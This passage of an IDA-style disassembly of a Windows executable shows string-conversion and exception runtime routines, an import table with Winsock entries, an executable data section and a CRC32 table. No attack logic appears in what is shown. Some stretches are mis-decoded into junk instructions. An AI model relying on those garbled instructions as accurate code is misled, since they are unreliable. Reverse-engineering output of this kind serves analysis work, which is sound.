sub_426A18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_426A1E proc near ; CODE XREF: sub_41CAC0+23p ; sub_41CD64+13p jmp ds:dword_4281A0 sub_426A1E endp ; =============== S U B R O U T I N E ======================================= sub_426A24 proc near ; CODE XREF: sub_4172D8+E2p ; sub_4172D8+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp ds:dword_4DDF74, 0 push ebx jnz short loc_426A6A mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_426A36: ; CODE XREF: sub_426A24+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426A48 cmp bx, 41h jb short loc_426A48 add ebx, 20h loc_426A48: ; CODE XREF: sub_426A24+19j ; sub_426A24+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426A5A cmp ax, 41h jb short loc_426A5A add eax, 20h loc_426A5A: ; CODE XREF: sub_426A24+2Bj ; sub_426A24+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_426A9A cmp bx, ax jz short loc_426A36 jmp short loc_426A9A ; --------------------------------------------------------------------------- loc_426A6A: ; CODE XREF: sub_426A24+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426A74: ; CODE XREF: sub_426A24+72j mov ax, [esi] inc esi push eax inc esi call sub_426BD5 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_426BD5 pop ecx test bx, bx pop ecx jz short loc_426A98 cmp bx, ax jz short loc_426A74 loc_426A98: ; CODE XREF: sub_426A24+6Dj pop edi pop esi loc_426A9A: ; CODE XREF: sub_426A24+3Dj ; sub_426A24+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_426A24 endp ; =============== S U B R O U T I N E ======================================= sub_426AA4 proc near ; DATA XREF: seg001:off_428D68o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426B47 test [esp+4+arg_0], 1 jz short loc_426ABA push esi call sub_41CE73 pop ecx loc_426ABA: ; CODE XREF: sub_426AA4+Dj mov eax, esi pop esi retn 4 sub_426AA4 endp ; =============== S U B R O U T I N E ======================================= sub_426AC0 proc near ; CODE XREF: sub_42671A+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D68 push dword ptr [edi] call sub_41B1D0 inc eax push eax call sub_41D1B5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426AEF push dword ptr [edi] push eax call sub_41C0A0 pop ecx pop ecx loc_426AEF: ; CODE XREF: sub_426AC0+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426AC0 endp ; =============== S U B R O U T I N E ======================================= sub_426AFD proc near ; CODE XREF: sub_426801+17p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_428D68 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426B3A push dword ptr [edi+4] call sub_41B1D0 inc eax push eax call sub_41D1B5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426B40 push dword ptr [edi+4] push eax call sub_41C0A0 pop ecx pop ecx jmp short loc_426B40 ; --------------------------------------------------------------------------- loc_426B3A: ; CODE XREF: sub_426AFD+16j mov eax, [edi+4] mov [esi+4], eax loc_426B40: ; CODE XREF: sub_426AFD+2Ej ; sub_426AFD+3Bj mov eax, esi pop edi pop esi retn 4 sub_426AFD endp ; =============== S U B R O U T I N E ======================================= sub_426B47 proc near ; CODE XREF: sub_4267A8+2Bp ; sub_42685E+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_428D68 jz short locret_426B5C push dword ptr [ecx+4] call sub_41CE73 pop ecx locret_426B5C: ; CODE XREF: sub_426B47+Aj retn sub_426B47 endp ; =============== S U B R O U T I N E ======================================= sub_426B5D proc near ; DATA XREF: seg001:00428D6Co mov eax, [ecx+4] test eax, eax jnz short locret_426B69 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426B69: ; CODE XREF: sub_426B5D+5j retn sub_426B5D endp ; =============== S U B R O U T I N E ======================================= sub_426B6A proc near ; CODE XREF: seg000:00426B82p mov dword ptr [ecx], offset off_428D88 mov ecx, [ecx+4] test ecx, ecx jz short locret_426B7E push ecx call sub_41B2A1 pop ecx locret_426B7E: ; CODE XREF: sub_426B6A+Bj retn sub_426B6A endp ; --------------------------------------------------------------------------- loc_426B7F: ; DATA XREF: seg001:off_428D88o push esi mov esi, ecx call sub_426B6A test byte ptr [esp+8], 1 jz short loc_426B95 push esi call sub_41CE73 pop ecx loc_426B95: ; CODE XREF: seg000:00426B8Cj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B9B proc near ; CODE XREF: sub_4266C0+54p ; sub_42678B+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_428D90 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_42805C ; RaiseException pop edi pop esi leave retn 8 sub_426B9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426BD5 proc near ; CODE XREF: sub_426A24+56p ; sub_426A24+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_426BE7 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_426BE7: ; CODE XREF: sub_426BD5+Bj cmp ds:dword_4DDF74, 0 jnz short loc_426C01 cmp ax, 41h jb short locret_426C48 cmp ax, 5Ah ja short locret_426C48 add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_426C01: ; CODE XREF: sub_426BD5+19j cmp ax, 100h jnb short loc_426C1B push 1 push eax call sub_426E83 pop ecx test eax, eax pop ecx jnz short loc_426C1B mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_426C1B: ; CODE XREF: sub_426BD5+30j ; sub_426BD5+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push ds:dword_4DDF74 call sub_426C4A add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_426C48 mov ax, [ebp+var_2] locret_426C48: ; CODE XREF: sub_426BD5+1Fj ; sub_426BD5+25j ... leave retn sub_426BD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426C4A proc near ; CODE XREF: sub_426BD5+5Fp var_9B78B40 = dword ptr -9B78B40h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428DB0 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp ds:dword_4DE1CC, esi jnz short loc_426CC0 push esi push esi push 1 pop ebx push ebx push offset dword_428940 mov edi, 100h push edi push esi call ds:dword_428050 ; LCMapStringW test eax, eax jz short loc_426C9E mov ds:dword_4DE1CC, ebx jmp short loc_426CC0 ; --------------------------------------------------------------------------- loc_426C9E: ; CODE XREF: sub_426C4A+4Aj push esi push esi push ebx push offset dword_4CDAB0 push edi push esi call near ptr 0B10000h into test eax, eax jz loc_426E3F mov ds:dword_4DE1CC, 2 loc_426CC0: ; CODE XREF: sub_426C4A+2Ej ; sub_426C4A+52j cmp [ebp+arg_C], esi jle short loc_426CD5 push [ebp+arg_C] push [ebp+arg_8] call sub_426E53 pop ecx pop ecx mov [ebp+arg_C], eax loc_426CD5: ; CODE XREF: sub_426C4A+79j mov eax, ds:dword_4DE1CC cmp eax, 1 jnz short loc_426CFC push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_428050 ; LCMapStringW jmp loc_426E41 ; --------------------------------------------------------------------------- loc_426CFC: ; CODE XREF: sub_426C4A+93j cmp eax, 2 jnz loc_426E3F cmp [ebp+arg_18], esi jnz short loc_426D12 mov eax, ds:dword_4DDF84 mov [ebp+arg_18], eax loc_426D12: ; CODE XREF: sub_426C4A+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call ds:dword_428180 ; WideCharToMultiByte mov [ebp+var_20], eax cmp eax, esi jz loc_426E3F mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_426D58 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_426D58: ; CODE XREF: sub_426C4A+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426E3F push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call ds:dword_428180 ; WideCharToMultiByte test eax, eax jz loc_426E3F push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 0B10000h repne mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426E3F mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426DDB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426DDB: ; CODE XREF: sub_426C4A+17Dj cmp ebx, esi jz short loc_426E3F push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] call near ptr 0B10000h mov [ebp+var_9B78B40], eax inc ebp or eax, 8B1C7404h inc ebp sbb al, 3Bh mov byte ptr [edi+esi+3Bh], 0C7h jl short loc_426E0A mov eax, edi loc_426E0A: ; CODE XREF: sub_426C4A+1BCj push eax push ebx push [ebp+arg_10] call sub_41B7E0 add esp, 0Ch jmp short loc_426E3B ; --------------------------------------------------------------------------- cmp [ebp+arg_14], esi jnz short loc_426E22 push esi push esi jmp short loc_426E28 ; --------------------------------------------------------------------------- loc_426E22: ; CODE XREF: sub_426C4A+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426E28: ; CODE XREF: sub_426C4A+1D6j push edi push ebx push 1 push [ebp+arg_18] call ds:dword_428184 ; MultiByteToWideChar mov edi, eax cmp edi, esi jz short loc_426E3F loc_426E3B: ; CODE XREF: sub_426C4A+1CDj mov eax, edi jmp short loc_426E41 ; --------------------------------------------------------------------------- loc_426E3F: ; CODE XREF: sub_426C4A+66j ; sub_426C4A+B5j ... xor eax, eax loc_426E41: ; CODE XREF: sub_426C4A+ADj ; sub_426C4A+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C4A endp ; =============== S U B R O U T I N E ======================================= sub_426E53 proc near ; CODE XREF: sub_426C4A+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426E72 loc_426E63: ; CODE XREF: sub_426E53+1Dj cmp word ptr [eax], 0 jz short loc_426E72 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426E63 loc_426E72: ; CODE XREF: sub_426E53+Ej ; sub_426E53+14j cmp word ptr [eax], 0 pop esi jnz short loc_426E80 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426E80: ; CODE XREF: sub_426E53+24j mov eax, edx retn sub_426E53 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426E83 proc near ; CODE XREF: sub_426BD5+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426EC3 cmp [ebp+arg_0], 100h jnb short loc_426EA7 movzx eax, [ebp+arg_0] mov ecx, ds:off_43EF8C mov ax, [ecx+eax*2] jmp short loc_426ECA ; --------------------------------------------------------------------------- loc_426EA7: ; CODE XREF: sub_426E83+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426ED5 ; CODE XREF: sub_426ED5+5Ej add esp, 18h test eax, eax jnz short loc_426EC7 loc_426EC3: ; CODE XREF: sub_426E83+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426EC7: ; CODE XREF: sub_426E83+3Ej mov eax, [ebp+var_4] loc_426ECA: ; CODE XREF: sub_426E83+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426E83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426ED5 proc near ; CODE XREF: sub_426E83+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428DC8 push offset sub_4237BC mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, ds:dword_4DE1D0 xor edi, edi cmp eax, edi jnz short loc_426F44 lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_428940 push esi call ds:dword_428020 ; GetStringTypeW test eax, eax jz short loc_426F22 mov eax, esi jmp short loc_426F3F ; --------------------------------------------------------------------------- loc_426F22: ; CODE XREF: sub_426ED5+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CDAB0 push esi push edi call near ptr 0B10000h jg short near ptr loc_426EB7+3 ror byte ptr [edi], 84h dec edx add [eax], eax add [edx+2], ch pop eax loc_426F3F: ; CODE XREF: sub_426ED5+4Bj mov ds:dword_4DE1D0, eax loc_426F44: ; CODE XREF: sub_426ED5+2Fj cmp eax, 1 jnz short loc_426F60 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_428020 ; GetStringTypeW jmp loc_427088 ; --------------------------------------------------------------------------- loc_426F60: ; CODE XREF: sub_426ED5+72j cmp eax, 2 jnz loc_427086 cmp [ebp+arg_10], edi jnz short loc_426F76 mov eax, ds:dword_4DDF84 mov [ebp+arg_10], eax loc_426F76: ; CODE XREF: sub_426ED5+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call ds:dword_428180 ; WideCharToMultiByte mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_427086 mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41B780 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426FD4 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426FD4: ; CODE XREF: sub_426ED5+EAj cmp [ebp+var_2C], edi jz loc_427086 push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call ds:dword_428180 ; WideCharToMultiByte test eax, eax jz loc_427086 mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41BD10 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_427029 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_427029: ; CODE XREF: sub_426ED5+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_427086 mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_42703D mov eax, ds:dword_4DDF74 loc_42703D: ; CODE XREF: sub_426ED5+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax call near ptr 0B10000h pop eax mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_427086 cmp word ptr [esi], 0FFFFh jnz short loc_427086 push edi push ebx push [ebp+arg_C] call sub_41CE80 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_427088 ; --------------------------------------------------------------------------- loc_427086: ; CODE XREF: sub_426ED5+8Ej ; sub_426ED5+C0j ... xor eax, eax loc_427088: ; CODE XREF: sub_426ED5+86j ; sub_426ED5+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426ED5 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_42709C proc near ; DATA XREF: seg001:00428F6Co ; FUNCTION CHUNK AT 0040D2EC SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D2EC sub_42709C endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_4270BA mov ecx, [ebp+8] jmp loc_40D2EC ; --------------------------------------------------------------------------- locret_4270BA: ; CODE XREF: seg000:004270ACj retn ; --------------------------------------------------------------------------- loc_4270BB: ; DATA XREF: sub_40CEC7o mov eax, offset dword_428F70 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D2EC ; --------------------------------------------------------------------------- loc_4270D0: ; DATA XREF: seg001:00428F98o lea ecx, [ebp-1Ch] jmp loc_40D2EC ; --------------------------------------------------------------------------- loc_4270D8: ; DATA XREF: sub_40D066o mov eax, offset dword_428F9C jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 loc_4270E4: ; DATA XREF: sub_40D5CDo mov eax, offset dword_428FEC jmp loc_41CB0F ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-20h] jmp loc_40D2EC ; --------------------------------------------------------------------------- loc_4270F8: ; DATA XREF: sub_4266C0o mov eax, offset dword_429088 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-14h] jmp sub_426B47 ; --------------------------------------------------------------------------- loc_42710C: ; DATA XREF: sub_42671Ao mov eax, offset dword_4290B0 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426B47 ; --------------------------------------------------------------------------- loc_427120: ; DATA XREF: sub_4267A8o mov eax, offset dword_4290F8 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426B47 ; --------------------------------------------------------------------------- loc_427134: ; DATA XREF: sub_426801o mov eax, offset dword_429120 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_426B47 ; --------------------------------------------------------------------------- loc_427148: ; DATA XREF: sub_42685Eo mov eax, offset dword_429148 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp-20h] jmp loc_40D2EC ; --------------------------------------------------------------------------- loc_42715C: ; DATA XREF: sub_4268ECo mov eax, offset dword_4291B0 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 4 mov ecx, [ebp-10h] jmp sub_426B47 ; --------------------------------------------------------------------------- loc_427170: ; DATA XREF: sub_426946o mov eax, offset dword_4291D8 jmp loc_41CB0F ; --------------------------------------------------------------------------- align 1000h seg000 ends ; Section 2. (virtual address 00028000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00028000 ; Flags E0000040: Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute seg001 segment para public 'CODE' use32 assume cs:seg001 ;org 428000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_428000 dd 77E75D9Eh ; DATA XREF: sub_40FCD8+1FBr dd 77E6BD68h dword_428008 dd 77E77F2Eh ; DATA XREF: sub_426153+3Er ; sub_426153+261r dword_42800C dd 77E762D0h ; DATA XREF: sub_426153+5Br ; sub_426153+B9r dd 77E70192h, 77E7176Ch, 77E7339Ch dword_42801C dd 77E7C9E7h ; DATA XREF: sub_4249A2+5r ; sub_4249B3+6r dword_428020 dd 77E7C866h ; DATA XREF: seg000:00423F76r ; seg000:00424064r ... dd 77E641EBh, 77E73FF9h, 77E7FF2Eh, 77E78406h, 77E79C3Dh dd 77E7C931h dword_42803C dd 77E77EE1h ; DATA XREF: sub_4234D4+9r dword_428040 dd 77E67702h ; DATA XREF: sub_4234D4:loc_423503r ; sub_4234D4+E1r dword_428044 dd 77E7C9E1h ; DATA XREF: sub_4234D4+CEr dd 77E9C5B1h dword_42804C dd 77EB9A84h ; DATA XREF: sub_422FF2+138r dword_428050 dd 77E781F9h ; DATA XREF: seg000:00422DE5r ; seg000:00422F8Br ... dd 77E77405h dword_428058 dd 77F522F2h ; DATA XREF: sub_422828+58r dword_42805C dd 77E6D706h ; DATA XREF: sub_4212CC+215r ; sub_426B9B+2Er dd 77E6C703h dword_428064 dd 77E61BE6h ; DATA XREF: seg000:00401081r ; sub_401132+29r ... dword_428068 dd 77E75CB5h ; DATA XREF: sub_401132+DFr ; seg000:004012B0r ... dword_42806C dd 77E77963h ; DATA XREF: sub_401132+B8r ; sub_40C4C6+9Dr ... dd 77E61BB8h, 77E7A099h, 77E704FCh dword_42807C dd 77E7AC37h ; DATA XREF: seg000:00402278r ; seg000:004024D5r ... dd 77E73628h dword_428084 dd 77E706B7h ; DATA XREF: seg000:0041994Cr dd 77E80656h dword_42808C dd 77F5157Dh ; DATA XREF: seg000:004024F1r ; seg000:00403763r ... dd 77E6BD13h, 77E70396h dword_428098 dd 77E74CABh ; DATA XREF: sub_40FA29+10Fr ; sub_41853D+10Fr ... dword_42809C dd 77E79F93h ; DATA XREF: sub_409A01+2r dd 77E79D5Bh, 77E7C2C4h dword_4280A8 dd 77E7751Ah ; DATA XREF: seg000:00401262r ; seg000:00404012r ... dword_4280AC dd 77E75CEBh ; DATA XREF: seg000:00410F66r dd 77E6AD34h, 77E71AFEh dword_4280B8 dd 77E805D8h ; DATA XREF: sub_409A01+13Ar ; sub_409A01:loc_409F0Fr ... dword_4280BC dd 987574h ; DATA XREF: sub_409A01+11r ; sub_416F7D+60r ... dd 77E65F4Ch dword_4280C4 dd 77E7513Ch ; DATA XREF: seg000:0040AD49r dword_4280C8 dd 77E7C657h ; DATA XREF: seg000:0040ADBDr ; sub_4186C5+32r ... dd 77E73C49h dword_4280D0 dd 77F7E300h ; DATA XREF: sub_40BF8E+130r dword_4280D4 dd 77F7E21Fh ; DATA XREF: sub_40BF8E+C5r dword_4280D8 dd 77E7C706h ; DATA XREF: seg000:0040C219r dword_4280DC dd 77F53275h ; DATA XREF: seg000:0040C20Dr ; seg000:0040C3E3r dd 77E79D8Ch, 77E737DEh dword_4280E8 dd 77E78B82h ; DATA XREF: sub_40D83A+19Cr ; sub_40D83A+4B0r ... dword_4280EC dd 77E7A837h ; DATA XREF: sub_40D83A+A4r ; sub_40E3D2+1CBr ... dd 77E73EACh, 77E616B4h, 77E79CE3h dword_4280FC dd 77E79C90h ; DATA XREF: seg000:004110FEr ; seg000:00419EA8r dword_428100 dd 77E7727Ah ; DATA XREF: sub_410FCB+23r ; seg000:00419E67r dd 77E64106h, 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h dd 77E794BFh dword_42811C dd 77E75E67h ; DATA XREF: sub_40FCD8+20Cr ; sub_40FCD8+5DCr dword_428120 dd 77E78C81h ; DATA XREF: seg000:004103C5r ; sub_415EA1+259r ... dd 77E76968h, 77E74C59h, 77EC7C51h dword_428130 dd 77E70F89h ; DATA XREF: sub_411D74+Er ; sub_4152AE+Dr ... dd 77E802FCh, 77E6D75Bh, 77E80618h dword_428140 dd 77E78147h ; DATA XREF: sub_416F7D+BCr dword_428144 dd 77F51597h ; DATA XREF: sub_41714F+41r ; sub_41714F+F5r ... dword_428148 dd 77F516F8h ; DATA XREF: sub_41714F+21r ; sub_4172D8+4Ar ... dword_42814C dd 77E77CB7h ; DATA XREF: sub_41714F+10r ; sub_4172D8+40r ... dword_428150 dd 77E7F01Ah ; DATA XREF: sub_4172D8+88r ; sub_41747C+53r dword_428154 dd 77E61A54h ; DATA XREF: sub_4172D8+56r dword_428158 dd 77E7C3A5h ; DATA XREF: sub_4172D8+34r ; sub_41747C+2Cr dd 77E76A60h dword_428160 dd 77E71B14h ; DATA XREF: sub_4183BA+26r dword_428164 dd 77E7166Fh ; DATA XREF: sub_4183BA+1Dr db 90h db 50h, 0E7h, 77h dd 77E74D76h, 77E77797h, 77E7011Ah, 77E73CE2h, 77E668D9h dword_428180 dd 77E79924h ; DATA XREF: sub_418D55+13r ; seg000:00422FB0r ... dword_428184 dd 77E77CCEh ; DATA XREF: sub_418E27+Fr ; sub_41DA54+54r ... dword_428188 dd 77E76A2Eh ; DATA XREF: seg000:00419966r dd 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah dword_42819C dd 77F5722Fh ; DATA XREF: sub_41B3F2+110r ; sub_41B3F2+22Dr ... dword_4281A0 dd 77F6183Eh ; DATA XREF: sub_426A1Er dd 77E76E3Dh, 77E61608h, 77E6177Ah, 77E7C938h dword_4281B4 dd 77E7C486h ; DATA XREF: seg000:0041DB79r dd 77E7AC5Eh dword_4281BC dd 77E76E0Bh ; DATA XREF: sub_41DFF2+50r dword_4281C0 dd 77E7C726h ; DATA XREF: sub_41DFF2+11r dword_4281C4 dd 77E79E34h ; DATA XREF: sub_41E0C2+240r ; sub_41EB96+120r ... dword_4281C8 dd 77E7980Ah ; DATA XREF: sub_41E6F4+76r ; sub_41E7A5+51r ... dd 77E73196h, 77E7849Fh, 77E7A13Fh, 0 dword_4281DC dd 71B2ACCBh ; DATA XREF: sub_41B1C0r dd 0 dword_4281E4 dd 71AB4122h ; DATA XREF: sub_414C60+D4r dword_4281E8 dd 71AB1746h ; DATA XREF: seg000:0041298Br ; seg000:0041299Dr dword_4281EC dd 71AB401Ch ; DATA XREF: seg000:004129C8r dword_4281F0 dd 71AB1836h ; DATA XREF: sub_40F360+6Er ; sub_40F3DD+8Er dword_4281F4 dd 71AB41DAh ; DATA XREF: sub_40ED60+4Ar ; sub_40F360+15r dword_4281F8 dd 71AB155Ah ; DATA XREF: sub_40ED60+8Dr ; sub_4137F8+6Er ... dword_4281FC dd 71AB3ECEh ; DATA XREF: sub_40ED60+B5r dword_428200 dd 71AB5DE2h ; DATA XREF: sub_40ED60+C9r dword_428204 dd 71AB868Dh ; DATA XREF: sub_40ED60+16Fr dword_428208 dd 71AB5A01h ; DATA XREF: seg000:00414D6Br dword_42820C dd 71AB1746h ; DATA XREF: sub_40DDDF+3Dr ; sub_40E2E5+36r ... dword_428210 dd 71AB3E5Dh ; DATA XREF: sub_40DDDF+50r ; sub_40E2E5+59r ... dword_428214 dd 71AB3F8Dh ; DATA XREF: sub_40DDDF+7Br ; sub_40ED60+5Ar dword_428218 dd 71AB5690h ; DATA XREF: sub_40DDDF+B5r ; sub_40DDDF+28Br ... dword_42821C dd 71AB1A6Dh ; DATA XREF: sub_40DDDF+26Fr ; sub_40DDDF:loc_40E235r ... dword_428220 dd 71AB3C22h ; DATA XREF: seg000:0040D1D0r ; sub_40DDDF+15r ... dword_428224 dd 71AB1AF4h ; DATA XREF: sub_40CE29+12r ; sub_40DDDF+A4r ... dword_428228 dd 71AB1890h ; DATA XREF: sub_40CC86+4Cr ; sub_40ED60+106r dword_42822C dd 71AB1B7Bh ; DATA XREF: sub_426A18r dword_428230 dd 71AB157Eh ; DATA XREF: seg000:00404AA4r dword_428234 dd 71AB12F8h ; DATA XREF: sub_40DDDF+2Cr ; sub_40E2E5+27r ... align 10h dword_428240 dd 0 ; DATA XREF: sub_401089+24r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 